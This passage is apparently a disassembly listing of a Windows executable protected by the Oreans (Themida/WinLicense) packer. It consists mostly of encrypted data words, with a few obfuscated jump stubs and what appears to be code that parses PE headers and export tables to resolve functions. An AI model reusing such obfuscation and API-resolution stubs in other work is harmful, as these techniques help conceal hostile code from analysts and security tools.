		dd 4AFAFCD2h, 0CF07A9F8h, 0D8571FEh, 8A94E1E2h,	5C7CE123h
		dd 6BB4FF3Eh, 0F84A2440h, 23CCEDDDh, 2D587EE1h,	4464BFF5h
		dd 1DF27F5h, 0DDF84AFFh, 0E123CCEDh, 0FC4D587Eh, 2D458CB7h
		dd 0F9FBD127h, 73BC0B4Ah, 0B991ACACh, 2AE123CCh, 2CA1CC04h
		dd 80C97870h, 53B73928h, 85000000h, 0F392FB4Ah,	650ABF87h
		dd 0B997DF3Ah, 0A6F84AB7h, 23CCBF8Bh, 0DB062CE1h, 23CC8DDAh
		dd 72CA19E1h, 2F2DCB3Bh, 0D3F9D4FFh, 0C00B4AD1h, 8B96B077h
		dd 1731F83Fh, 2362B4ECh, 47638ED1h, 0EDDDF84Ah,	7EE123CCh
		dd 0BB082D58h, 0BF9F7476h, 405Bh, 0DF270300h, 2F4AFF01h
		dd 0E123CC66h, 8EDF1E70h, 0CC686249h, 0D5FBE123h, 74C6CCAAh
		dd 23CC7159h, 0E5CCF2E1h, 0E123CCE5h, 0CC3C0E29h, 89AFE123h
		dd 4C6AA2C8h, 4B76BD0Dh, 5D144A2Fh, 9FC9CB10h, 80C978BFh
		dd 1CB73928h, 85000000h, 0F9FBD127h, 0CC662F4Ah, 0A7CDE123h
		dd 5D144AA5h, 9FC3C50Eh, 205BBFh, 27030000h, 4AF9FBD1h
		dd 23CC662Fh, 0A8AACAE1h, 0F84A144Ah, 23CCEDDDh, 2D587EE1h
		dd 6E70B908h, 0B4ABF9Fh, 1F6A75BAh, 0AE84ABD6h,	2CFFFFFEh
		dd 73BC0B4Ah, 0C6792ACh, 0A9C4E2B8h, 0E75E185Dh, 4382A0C6h
		dd 0DFD0B0F7h, 4B9AB896h, 0AE9B8DAEh, 1B537E80h, 6E5C77C9h
		dd 0FDE7198Eh, 3A7FCCD7h, 8E3C0E0Fh, 89AFE719h,	8ED3F9C2h
		dd 0FA46E719h, 1CEFECB3h, 0DD98F596h, 0C10A5964h, 607E3EFAh
		dd 7896A4D7h, 6290FA37h, 41863Ch, 81540000h, 0E123CC35h
		dd 614188D4h, 23CCFDCAh, 7ACA09E1h, 59AD0833h, 0C1136583h
		dd 23CCA4A6h, 0F62147E1h, 5AFB0CF5h, 1B395FE7h,	1A458CDCh
		dd 0C8135220h, 739EB87Fh, 0D54Ch, 4799D800h, 27BDD904h
		dd 0C4DFFDD3h, 0E75AEFB3h, 0A3F97CCBh, 0A9B694AFh, 0F35E714h
		dd 37E941F4h, 14502E1Ch, 5F97BDE7h, 15335934h, 0C11174C3h
		dd 0DA9A0E0Ah, 3DA0C4BFh, 406B0491h, 0A484CB1Bh, 307F99E9h
		dd 0C5E8AFE7h, 3E7D9B71h, 0C9E3AAF3h, 8F4B669Eh, 0DCE169DEh
		dd 0D5998B6h, 0BAE5FFC6h, 0ACF34382h, 7AC111CCh, 4661B3B3h
		dd 0E12E4104h, 8AC0DBE7h, 59E12E41h, 75D0FB33h,	0DB2D4B21h
		dd 0C837F38Ch, 0CE1A7831h, 23244F87h, 0E7537D32h, 266583A9h
		dd 0F8B393DAh, 6C9A65ACh, 5398623h, 0E905F4Eh, 60A60000h
		dd 23722D0Dh, 0F23FFADAh, 0C112CDADh, 8FE19C7Ch, 0C3C16C4Ch
		dd 0C2A2E537h, 9373BC07h, 614188D8h, 33135AA6h,	9CAEC9AFh
		dd 4FE71990h, 0B4A2E22h, 0E51A3B9h, 2EF52D47h, 78C4E914h
		dd 5CC115Eh, 0FFECB3EBh, 0F4E6CB3h, 0E23096BEh,	7A936E29h
		dd 36617B42h, 0A0BEB455h, 60A5F231h, 7DC41035h,	0BB34FD9Dh
		dd 4B4C3628h, 1A000000h, 4E1AD327h, 7FC3723h, 60B2D008h
		dd 0C88FD421h, 7083C7AEh, 5D06E123h, 13EF1ED2h,	0B1DC02C3h
		dd 3AA95E79h, 9CC2E75Ah, 559CE8D5h, 276EBA75h, 0B9116060h
		dd 0BBCD909Bh, 0CF237EA9h, 5890D526h, 941E1F3Ah, 0AFD5E16Dh
		dd 0E5D1DCFh, 0DB2AE5C5h, 0CF02CB92h, 5AE123CCh, 15E3C30Ah
		dd 19A120C6h, 0E4023426h, 230381C9h, 113C62E1h,	6E8C62B6h
		dd 5ED7A753h, 809EC4E7h, 0CFAFF441h, 80B9781Dh,	51C736A8h
		dd 79000001h, 0CC3E0C27h, 87ADE1A3h, 0D227405Ch, 0CA91DA29h
		dd 0B5A78B0h, 0A1C796F2h, 18607BA3h, 0D763116Dh, 4AF6123Dh
		dd 23CC662Fh, 0A8AACAE1h, 5EEBFB4Ah, 146F389Eh,	0D5FB1E9h
		dd 23D2D8F2h, 647F8BE1h, 0E123D266h, 7CA7DF05h,	0F5446460h
		dd 0FF01DF27h, 0D127233Bh, 510DF9FBh, 2880C978h, 4FB739h
		dd 27850000h, 4AFF01DFh, 0B178BF0Bh, 52CB7C97h,	30C6D4C0h
		dd 297BCD05h, 23B23C0Eh, 6AB6AFE1h, 0BFC0EB23h,	0E123B2F6h
		dd 1436515Dh, 0D7E123B2h, 0BB9142CEh, 0BBF3B519h, 0A166583h
		dd 0C6ADF37Dh, 4AE8042Fh, 0CB105D14h, 5BBF9FC9h, 2Ch, 2EDF2703h
		dd 0B8D299DCh, 2F4A7E80h, 0E123CC66h, 4D8CAACAh, 5DAFBA01h
		dd 0E39531Ah
		dd 0BC0B4AF2h, 6792AC73h, 105DF92Fh, 0BF9FC9CBh, 2880C978h
		dd 45B739h, 27850000h, 4AF9FBD1h, 0B279BE0Bh, 0CCB397B2h
		dd 0A30E123h, 546FA7D2h, 0E123CC0Bh, 184C4493h,	4ADC96ADh
		dd 1C1E441Fh, 0E5A9F84Ah, 20471C7Eh, 5DD0EC17h,	9FC3C50Eh
		dd 0CD1464A3h, 53075C2h, 205BE9h, 4A030000h, 4D78BF0Bh
		dd 0C4C69CF2h, 6AB9F84Ah, 0A8F5F621h, 90E123CCh, 144A6E70h
		dd 0C3C50E5Dh, 0A65BBF9Fh, 3FFFFFEh, 73BC0B4Ah,	368792ACh
		dd 176BC6F1h, 0B6D12341h, 0E123CC94h, 0CE063157h, 5E186BB3h
		dd 8CAAD0E7h, 97E7014Dh, 376F8950h, 3F1D6657h, 4590CF21h
		dd 101B35FCh, 4F507BBEh, 0E719877Bh, 32FBC2E8h,	0E719871Ah
		dd 0EA2B4957h, 3C62D347h, 0FCCEE93Bh, 6FE7199Fh, 2BE41E49h
		dd 96000000h, 89E20A57h, 5E6482A4h, 1401C800h, 1D4880C9h
		dd 0CC358101h, 88D4E123h, 0B6D12341h, 0E123CC94h, 0C063157h
		dd 0A44Fh, 0D327F700h, 51A0DFFDh, 0FC274108h, 0D498A9C4h
		dd 254BE75Ah, 3178C807h, 0FF469651h, 18C11538h,	9A6A85CCh
		dd 0BE2F636Fh, 3C5775ADh, 0E16951FAh, 6EADCBF1h, 3CF7D71Eh
		dd 0DEDEA5ECh, 0E6374D9Fh, 0E33E69A1h, 5194E68Fh, 1A38708Ah
		dd 5314DEFFh, 516F95E7h, 617FC612h, 638ED722h, 304C9B69h
		dd 3AEB09D3h, 19658AB5h, 0EBF107D2h, 0C37A3986h, 0B51D4h
		dd 0CE216700h, 9BE433EEh, 6EB300BBh, 3D82D38Eh,	0D50A25Dh
		dd 0F882822Dh, 0C88363A6h, 9954347Dh, 67220249h, 70F4D41Bh
		dd 935B6F8Ah, 0DB08E719h, 0CA115DE7h, 83CA1603h, 0CC0B1BBCh
		dd 0ED0B367Bh, 0E02773CFh, 88D16000h, 51AF3628h, 7D000000h
		dd 0DFFDD327h, 0BC014E8Dh, 0AFB0DBF5h, 0E75AD142h, 0B5D7BA1h
		dd 14C8DAF0h, 386389E7h, 0D71E6A57h, 2B356AB9h,	0F0033CCEh
		dd 0C410CBC5h, 50175EAAh, 1437FE36h, 0B1CCEAC0h, 0E16D14A0h
		dd 0CAE53743h, 0E1230480h, 74563D63h, 0F7E12304h, 7B999D1h
		dd 0A7C50E5Dh, 5432DF58h, 0E1FBC207h, 0CCF06EC6h, 233F99B1h
		dd 0EC244AE1h, 1330C7C1h, 86E1233Fh, 1E0FEF36h,	0BBD6F4CAh
		dd 0E75EEB54h, 1537197h, 74B694AFh, 0F35E719h, 423859F4h
		dd 0DF0A19EEh, 48286DBAh, 80B97896h, 8AC936A8h,	8DD2233Fh
		dd 49748E55h, 17D0Fh, 0D227DD00h, 718CDEFCh, 0E123CC59h
		dd 88D9E40Ah, 4AFC1843h, 276CB9F8h, 0CCB2FBFCh,	7696E123h
		dd 0BB0B4A74h, 6893AD74h, 0B4AFA30h, 94AE75BAh,	0C02B4B69h
		dd 0CC77536Eh, 0CEF4E123h, 0B8BB41B3h, 4F7A5F62h, 0DDF84A33h
		dd 0E123CCEDh, 0D22D587Eh, 3BAAAC8Ah, 28D12723h, 0BFA8B0D6h
		dd 3D9BE361h, 0DCBCD05h, 80C97851h, 3CB73928h, 85000000h
		dd 0FF01DF27h, 0EDDDF84Ah, 34E123CCh, 0BED89FE2h, 74ACD7FDh
		dd 23CC0C59h, 0CFD1F7E1h, 105D144Ah, 165EADCBh,	256107C4h
		dd 9FF4103Bh, 0FC1264A3h, 42F67AAh, 255BE8h, 27030000h
		dd 4AFF01DFh, 23CC662Fh, 0A8AACAE1h, 105D144Ah,	405BADCBh
		dd 0E123CC0Ah, 4C95E0D9h, 8336B85h, 78BF9FECh, 392880C9h
		dd 4DB7h, 9E1A6900h, 7D818724h,	2714305Bh, 4AF9FBD1h, 3BF4A9F8h
		dd 7CFEA00Dh, 70D8F961h, 0DD08846Ch, 23F393DCh,	8BDC1BE1h
		dd 14DB2473h, 0BC97C2FAh, 144A9496h, 0C3C50E5Dh, 575BBF9Fh
		dd 0E7000000h, 77325CA8h, 0FE589089h, 0FB15DC14h, 0D127B4D0h
		dd 2F4AF9FBh, 0E123CC66h, 4AA8AACAh, 0CCEDDDF8h, 587EE123h
		dd 64A3F52Dh, 87A3CE13h, 0EDDDF84Ah, 7EE123CCh,	0B9082D58h
		dd 3F064D9Dh, 0BE934542h, 144C05B0h, 0FB4ADADCh, 0D3205719h
		dd 92ADC78Eh, 0A3CE3C12h, 0B4AE0C0h, 214873BCh,	0FFFFFE75h
		dd 0D71E6EADh, 0D32790ACh, 7AC4DFFDh, 0E1E75E18h, 125E9DBBh
		dd 4193ABF8h, 0E5FFC6FEh, 0ADFFCDADh, 0F4DB226Eh, 0E71987D6h
		dd 0E9446F95h, 65A4C2A0h, 70A8D318h, 19877555h,	9D0F6E7h
		dd 19870840h, 3D5B69E7h, 62D435FCh, 174B3Ch, 81190000h
		dd 0E123CC35h, 205E88D4h, 0ED021969h, 9C6A6DEh,	0F3h, 0FDD327B1h
		dd 113E8DDFh, 0F3160A06h, 0A36AADFFh, 25265189h, 0E75ADC3Ch
		dd 4288A3AFh, 21E714DCh, 53A5C3FBh, 0DCE4E601h,	6187E714h
		dd 7AC11136h, 488FDF9Ah, 859FEB2Ah, 0EEB5ED36h,	3477C9D4h
		dd 0E9282809h, 0CB26519Ah, 6883A177h, 0E169089Ah, 3385A3C9h
		dd 2E973218h, 0D41B67E1h, 0DEEC0713h, 8DE12E97h, 0CC042F67h
		dd 3D0D287Ah, 0AEE12E97h, 0E8385D88h, 163183A1h, 0E12E9734h
		dd 587391B7h, 0E12E9772h, 0A6A0CBF1h, 8D549BEBh, 32D83E8Dh
		dd 4515EB51h, 956BBF1Ah, 0C37B5C77h, 0CAF0E753h, 0B3F5AACh
		dd 0D8E71453h, 0FD4F87B2h, 0FE296CBEh, 66468DD9h, 4D185FABh
		dd 39869D05h, 0BB1807BEh, 0D1000007h, 9D58388Bh, 6A25054Eh
		dd 3DF8D81Dh, 0CC7A7ECh, 0EC9777BAh, 0CD106214h, 9EE732EDh
		dd 6CB303BEh, 3E85D18Ch, 0D9F4DA5Eh, 0E719AFF1h, 4A514572h
		dd 0CCEDDDF8h, 587EE123h, 75BC082Dh, 2E75C1AEh,	77B6C667h
		dd 9BB9E42Bh, 0A1BC0E7Dh, 0E123CCA9h, 0C4E9143Ah, 0C80D5E78h
		dd 81C81401h, 91311149h, 36288CA0h, 426693E2h, 4254C753h
		dd 5772AAF3h, 0B4034Dh,	77B1DCA7h, 3Dh,	569FEA29h, 186A758Fh
		dd 278EAAD5h, 0C4DFFDD3h, 0E75AF20Fh, 38122D7Fh, 0ABE714E9h
		dd 597F5A85h, 0E9FDC992h, 0CCF4E714h, 7FBD8E7Dh, 89B435D8h
		dd 250C4D6Bh, 5B3C6024h, 4Eh, 2AD32729h, 0B2CC93DAh, 0D01D5C7Ah
		dd 5C2366B8h, 29430A42h, 92ABC6FEh, 59E75AECh, 337F6C33h
		dd 428FCEECh, 1DD8D2FDh, 0A0C38AD1h, 658764Ch, 693077C7h
		dd 3E23244Fh, 0ADE16DCEh, 9AD9A787h, 253F064Fh,	0CEDEEC07h
		dd 678DE123h, 4F9A203Ch, 0FA18EE42h, 2D9159A8h,	0FB902388h
		dd 335EA3F0h, 5ABCAD32h, 0C52046E7h, 0AD668524h, 0BC92E6A7h
		dd 0D382839Eh, 2D7C211Bh, 0CE4DB2BCh, 0BC034F20h, 0E72C7984h
		dd 0DB0620h, 9CF013DAh,	456A8C6h, 556FE1E9h, 315C8221h
		dd 2DA50A30h, 95B3D927h, 0E3C30A56h, 0CA95DC28h, 0F9F09B9Eh
		dd 4FB1A057h, 65000006h, 31ECCC1Fh, 0FEB999E2h,	0D18C6CB1h
		dd 0A05B3B80h, 802B0B4Eh, 61A4F680h, 327BC681h,	479752h
		dd 0D2196520h, 6D886EF2h, 0E719A85Dh, 4AEDE10Eh, 61C1A8FBh
		dd 7FAA8A4Eh, 0A9C70E5Ah, 0F10E3C57h, 0B7DDE123h, 6CABAB8Ch
		dd 1613DA1Fh, 405F9A7Eh, 39649CCBh, 0A282C714h,	69875DB1h
		dd 5E90844Eh, 1D388AE7h, 0E7190F2Dh, 1CDD2474h,	0CAF0CBF6h
		dd 0D71C6DACh, 34DBF610h, 37CC255Bh, 404E510h, 6B3279C5h
		dd 0B4012651h, 430A4F9Ch, 0F026F129h, 79398BDAh, 5B4D3C2h
		dd 84CA0000h, 47965131h, 16631EFEh, 0E536F1D1h,	0B305C0A0h
		dd 1FE59070h, 0E6C6095Bh, 0B797E02Bh, 8565ACFCh, 57377ECAh
		dd 0F8D2EDD3h, 6BE719A9h, 0D3274A3Eh, 72C4DFFDh, 69E75E18h
		dd 16DD2470h, 0E64CFF19h, 0A4DCCC00h, 3B024999h, 3522E921h
		dd 0F8D8A3E8h, 51398BFDh, 558AB9Ah, 286E0000h, 0EB3AF5D5h
		dd 0BA07C2A2h, 89DA9575h, 57A96444h, 0BB893414h, 8A6AADFFh
		dd 5B3B84CFh, 290950A0h, 0FBDB226Eh, 54769177h,	17E719A9h
		dd 0D327F6EAh, 0CD55D41Ah, 86D89F61h, 6E435ED8h, 498EDB6Ah
		dd 0A0BBD911h, 0E75E355Ah, 0AF9C6389h, 68521D62h, 0F1398B64h
		dd 4FC4B3Ah, 0CC120000h, 8FDE9979h, 5EAB6646h, 2D7E3919h
		dd 0FB4D08E8h, 572DD8B8h, 2E0E51A3h, 0FFDF2873h, 0CDADF444h
		dd 9F7FC612h, 301A351Bh, 0B3E719AAh
		dd 0B4A9286h, 96B077C0h, 0B3FA466Bh, 6CB3FFECh,	0FD1BF7A5h
		dd 0D8044F8Eh, 0B86097FBh, 955C94DAh, 0DF2B507Bh, 0B1FDB898h
		dd 8DDAA36Ah, 59E12334h, 0DB2783A1h, 115C74C1h,	0AFE701C8h
		dd 0B696CEE8h, 7D9B71C5h, 5EE08062h, 9FBDE3E7h,	0CCE71460h
		dd 0E7197FFEh, 0E29476Dh, 0E7197F3Ch, 335189AFh, 985FA2F4h
		dd 9E59537Eh, 44440B52h, 4570B305h, 0A2C096EAh,	64A47887h
		dd 0A7C5EBE1h, 0B1021C68h, 538BA56Ch, 5AD5E635h, 41A79DA6h
		dd 65FB9426h, 0A6D1410Fh, 78A5F1ACh, 23C86D5Dh,	0A0D8FEE1h
		dd 4E9AD9D9h, 0FCCEE907h, 6FE123C8h, 6FC31E49h,	0E297B99h
		dd 0E123C83Ch, 265E89AFh, 5AE0CE0Bh, 2CF71DE7h,	39861198h
		dd 0FFBBAA61h, 15000003h, 0E19C7CCFh, 0AE694992h, 813C1C61h
		dd 500BEB30h, 30DBBBFEh, 1154A650h, 0E22B7631h,	0B0F74702h
		dd 82C915D0h, 1D381EA2h, 0E719AB2Dh, 5D9D91BEh,	1603CA11h
		dd 0D5A383CAh, 39004596h, 29BBF03Ch, 8CC4C818h,	0DCB20661h
		dd 0EE82A3BEh, 3359E75Ah, 0A2A8C315h, 0F7E714DEh, 7CA263ACh
		dd 0DFA77051h, 0D2E714DEh, 0D3D58AAh, 0DEE714DEh, 1962ADB8h
		dd 71B2D0EEh, 3C5F9AC0h, 0ED3283C2h, 0A7E10C26h, 54h, 0D1A10A59h
		dd 0DE4E7C97h, 0F71DE714h, 6AFFFCDCh, 14247B4Fh, 8AC2E8E7h
		dd 0FB4A435Fh, 0CA734B86h, 0C6792A7h, 72C4E2B8h, 5B959E23h
		dd 8CB77B65h, 5A32E28Bh, 265DACE7h, 316017CDh, 1036113Ch
		dd 3D368049h, 9DABE714h, 7DF33E7Fh, 0B48D3C60h,	5B000000h
		dd 3CA115Dh, 0BA81C416h, 1C6781CDh, 0BAF20CD3h,	73BA06F3h
		dd 0D0F1FC93h, 0C410E123h, 4C135AAAh, 4C1AFA32h, 0C8EBDFFAh
		dd 5278E123h, 6FB60227h, 5B3185A8h, 0F229223Dh,	1E5DE75Ah
		dd 815C87CEh, 368A7B5Bh, 0CC274260h, 17E16A50h,	2D8A5C0Eh
		dd 1520FBCCh, 9FB980C3h, 0B80A4967h, 470E57A2h,	0D6F40F2Dh
		dd 95E12D96h, 9C57376Fh, 0B23C074Ah, 4B3FBF58h,	2ACA594h
		dd 7CC20000h, 3F8E4929h, 0E5B16F6h, 0DD2EE9C9h,	0ABFDB898h
		dd 0E7DD8868h, 0DEBE0153h, 0AF8FD823h, 7D5DA4F4h, 4F2F76C2h
		dd 80CAE5CBh, 63E719A4h, 0B5D4236h, 0E12DE8C8h,	2708BA9Ah
		dd 0ABA11AD3h, 0D64ADD9Ah, 0FF0A428Bh, 88A269AEh, 6E173250h
		dd 95E75A64h, 0CC044D9Ch, 79C60505h, 38536D34h,	85B82843h
		dd 353661D9h, 0E714D069h, 0F3345260h, 3C5FA83Eh, 0D742h
		dd 0FB4A1000h, 39E40335h, 557AA53Ch, 599EEF09h,	1053A592h
		dd 0DCF72F49h, 743305C6h, 89508864h, 40074A9Ch,	230F6C77h
		dd 27418DE1h, 1E20B2DAh, 0B50A6BD9h, 0AA65457Dh, 3416315Eh
		dd 0B7E12305h, 6F925991h, 0D527451Bh, 5626883h,	0DB01E123h
		dd 3F9AAFB0h, 2349E75Ah, 28FE5243h, 99CBEF0Ah, 0FC3BE16Ah
		dd 5F3A65ACh, 8ADC1B39h, 5AAC6747h, 0E9B0F944h,	0CCCC97CFh
		dd 953FBF4Fh, 1B4EFDEh,	84CA0000h, 47965131h, 16631EFEh
		dd 0E536F1D1h, 0B305C0A0h, 1FE59070h, 0E6C6095Bh, 0B797E02Bh
		dd 8565ACFCh, 57377ECAh, 0F8D2EDD3h, 6BE719A5h,	0B5D4A3Eh
		dd 3D58AAC8h, 0E123CC0Dh, 0BC96D5DEh, 295A7387h, 11CCC6F1h
		dd 0D09E7EC5h, 6BF1B281h, 97A273CAh, 0B8D4FF48h, 0A6F7115Dh
		dd 0CC6A607Bh, 0D3F9E123h, 0AF9C639Bh, 4B3C1C63h, 0E80321F7h
		dd 0E75AF26Bh, 0CA0F5C9Bh, 0E3BEE903h, 612DF6BDh, 58E714E9h
		dd 46EB2C4Ah, 3A3C5FADh, 2Eh, 185BADECh, 0D327D1EDh, 5FC4DFFDh
		dd 8CE75AFBh, 0DF94866h, 89ACF40Fh, 5B240530h, 0E714F713h
		dd 195A7886h, 3C5FC818h, 2568h,	34813600h, 9FE123CCh, 557754Bh
		dd 0CCB298B3h, 98E7E123h, 0AD6E884Fh, 0DA5B5C87h, 91E75AFFh
		dd 0CB034698h, 0D32739EBh, 4790DFFDh, 0BB9A3CB6h, 42094E9Fh
		dd 8DC5F028h, 5ACCC172h, 5E7CA2E7h, 3982CD0Ch, 59715872h
		dd 0AE714DDh, 0FD8B9E4h, 0E714DD47h, 0CD0E2C3Ah, 3C5F9964h
		dd 211Ch, 3581EA00h, 0C1E123CCh, 0C4E8DB72h, 4C662D74h
		dd 190DDF31h, 693F93EEh, 39AF304Bh, 1E44E75Ah, 0FB4A8C3Eh
		dd 1CFA5D0Fh, 0D0CDE89Ah, 0FB92295Ah, 74C8234Eh, 7565809Eh
		dd 0F6E75EA3h, 0D01C09D0h, 0EC2469B6h, 0B4FF3E0Ch, 5F8AA46Bh
		dd 89A7EE3Ah, 8DB8FD4Ah, 9BA8E3ACh, 0CCA80561h,	0EC0652AEh
		dd 42225A9Fh, 2DF43B87h, 0A225DE2Dh, 2DF85116h,	47D6F40Fh
		dd 6F95C52Eh, 89CE1F44h, 284606C2h, 593980CCh, 0E838529Eh
		dd 88C0DAA1h, 3082C1C1h, 39BC2EDh, 43000000h, 175D3628h
		dd 0C410FDC4h, 79C9B67Dh, 337E6B32h, 0E43623EAh, 9BEDDAA1h
		dd 53A49158h, 0D5A470Eh, 0C51401C8h, 56C3B57Ch,	0B850E689h
		dd 47D9181Fh, 2B669C25h, 41E90565h, 0E8D12434h,	3503E8C1h
		dd 693D424h, 8358C601h,	348704EEh, 89525C24h, 4C281E2h
		dd 83000000h, 148704EAh, 14895C24h, 2386824h, 3C890000h
		dd 4F656824h, 3C890000h, 4CEFBF24h, 0FA89063Ah,	3C8B545Fh
		dd 4C48324h, 268768h, 24148900h, 8B08478Fh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		dd 6B6CB8B5h, 0C503063Ah, 568AE0FFh, 0B324155Fh, 6F4A48F8h
		dd 0C512309Ah, 8E836DDh, 0BA000000h, 0CB9A4CBBh, 663A5846h
		dd 815AF18Bh, 6029C2h, 0D426BF00h, 0ECBB00CBh, 66000017h
		dd 8B1DE2BEh, 6820F02h,	0F000000h, 82h,	71C08100h, 0F226877h
		dd 0C081FABFh, 3530CE22h, 81F8B70Fh, 0FA431CF0h, 68A0F00h
		dd 81000000h, 71E8BDDFh, 28F5023h, 0E904EA83h, 11h, 0C1D1B63Fh
		dd 1AC9B553h, 4FAA0E77h, 0E78DC94Eh, 850F4B8Eh,	0FFFFFFABh
		dd 0D6BF0F60h, 61DFBF0Fh, 83E9h, 52515300h, 5C8B5756h
		dd 81661C24h, 0F5A4D3Bh, 6885h,	43B70F00h, 66D8033Ch, 45503B81h
		dd 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h
		dd 207B8B56h, 31C738Bh,	320247Ch, 0FC202474h, 41FFC983h
		dd 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h,	3A0874C0h
		dd 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h,	48B0F04h
		dd 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h
		dd 6E8CA8Bh, 3A000000h,	0CF063123h, 13E998h, 4A6D0000h
		dd 0ECB116C1h, 0B513A84Eh, 7713A289h, 0B38D5D11h, 0BF60580Ah
		dd 0F6AE828h, 14E9h, 82C5AC00h,	43D6D03h, 71E824A0h, 4F25F9A5h
		dd 561F0093h, 0C08161DEh, 5EF0h, 11E9h,	27739F00h, 0D4DFC88Eh
		dd 48B78CF5h, 2CF0958Fh, 0BB02C5h, 0E8000000h, 9, 198B5A34h
		dd 0A52E6744h, 0CA8166E0h, 8B5E78B6h, 0BA66183Ch, 0EF815721h
		dd 35A88216h, 81D1BF0Fh, 0D13289C7h, 0C9E1804Ah, 794DEF81h
		dd 66520B42h, 8959F18Bh, 0EE9183Ch, 0AC000000h,	4CD4980Fh
		dd 0DB912BDDh, 734AE749h, 0AA8BA60h, 0EB837E98h, 4BF38B02h
		dd 0D78B524Bh, 0D8FB815Eh, 0FFFFFA1h, 0FFFFAA85h, 0E9F38AFFh
		dd 400h, 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
		dd 0F79E9h, 0FE900h, 0D58E0000h, 0B68C3E12h, 0C3831950h
		dd 0F45A2F0Ah, 11858B4Ah, 89063720h, 371DA195h,	0C8E0F06h
		dd 60000000h, 0B8D08166h, 0D29EBF15h, 3961795Bh, 0F042444h
		dd 7285h, 21B58900h, 8306370Ah,	37258DBDh, 840F0006h, 5Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F0C35747h
		dd 1DD274F3h, 0F85B589h, 0BD890637h, 6371DD9h, 3A14858Dh
		dd 95890637h, 63718E5h,	6AE0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 9A6326C3h, 37B4DE58h
		dd 8BBBBA13h, 37045D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 6369E33Dh, 2D9529C7h
		dd 39063733h, 0F042444h, 2585h,	9D8D2900h, 0C706371Ch
		dd 3A71ED85h, 106h, 0F880F00h, 0E9000000h, 0Ah,	74E8B1DAh
		dd 0BF443131h, 6060370Ch, 8B0FCB8Bh, 6,	8B0Fh, 0E9610000h
		dd 0Ah,	1D15B529h, 637h, 1B80000h, 87000000h, 3A731B85h
		dd 75C00B06h, 0B9B5FFF6h, 8F063722h, 3A71E585h,	6A206A06h
		dd 0CD95FFFFh, 83063707h, 371CE9BDh, 8740006h, 95FF006Ah
		dd 6373219h, 1B0DBD83h,	74010637h, 80680Dh, 0FF6A0000h
		dd 7CD95FFh, 8B0F0637h,	7, 0F38B6660h, 0FC615E57h, 35858960h
		dd 61063730h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0A2C0E6E1h, 24548BF5h
		dd 52006A28h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0D650C75h, 111E629Ah, 8D2969A6h,	6371BA9h
		dd 0A6D8589h, 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 443FAAC3h, 0F3EE7BDh, 3CBEh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 44034B1Ch, 360E131h,	0F9242474h, 0AF99D31h, 0AD660637h
		dd 2AED8589h, 44030637h, 57602424h, 5E9h, 0DA863400h, 8B59EE44h
		dd 3731DDB5h, 0E9906106h, 10h, 0ADB47C7Ah, 0EDC5D9B1h
		dd 0B7D6D9D0h, 4BBF9962h, 0C840F50h, 0F000000h,	68Ah, 850F00h
		dd 90000000h, 418D8B60h, 8B063722h, 370E7595h, 408B6106h
		dd 10E978h, 335F0000h, 0FCDA4E0Eh, 728BC547h, 0CE0582FFh
		dd 0BD83CED6h, 63A71EDh, 0DA850F00h, 0E9000000h, 7, 0DBCEF087h
		dd 5039130Ch, 8C0F5250h, 0Dh, 8E9h, 0FCF5300h, 854AC905h
		dd 60310F37h, 310F5250h, 0A6B5585Ah, 89585A61h,	89602404h
		dd 37121195h, 6CC8BB06h, 8B6117AEh, 602C2444h, 7E8DE8Bh
		dd 97000000h, 0E62CBBDAh, 0B8660F65h, 615E008Dh, 0E820F50h
		dd 0E9000000h, 9, 5F1EA8F3h, 49FF7F9Ch,	24048973h, 6880F60h
		dd 0B000000h, 37118D8Dh, 0AE806h, 5CE60000h, 8B4569ADh
		dd 0EF79AEF2h, 858D615Ah, 63A3F69h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 7DC35545h, 8D89602Ch, 637118Dh
		dd 820FD0FFh, 19h, 14E9h, 0A8323B00h, 91FB8687h, 0BB62790Bh
		dd 0EC987754h, 28E3C667h, 2444031Ch, 0E9B50128h, 8B06371Fh
		dd 89601840h, 3731DDB5h, 0A18D2906h, 61063711h,	8589F840h
		dd 63A71E9h, 1DD9BD01h,	6A580637h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2837C355h
		dd 0BF609A00h, 1C79C97Dh, 78708B61h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 75C35747h, 32577986h, 6E94Ch
		dd 0C6C0000h, 94AA25D2h, 291CC683h, 372191BDh, 8D899606h
		dd 6373011h, 24247C81h,	10000000h, 0E0870Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F600DC3h, 9061FFB7h, 60506160h, 2860Fh, 0EEB70000h
		dd 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8E0FF9C3h, 6, 929B589h, 448B0637h, 90F82824h
		dd 0BF525060h, 2CE5A4FEh, 5250310Fh, 585A310Fh,	13E9585Ah
		dd 0E1000000h, 0E45EA57h, 5D065FC8h, 9415D25Ch,	98594C10h
		dd 50613EEEh, 66DE8B60h, 9061C28Bh, 18A0Fh, 8DF90000h
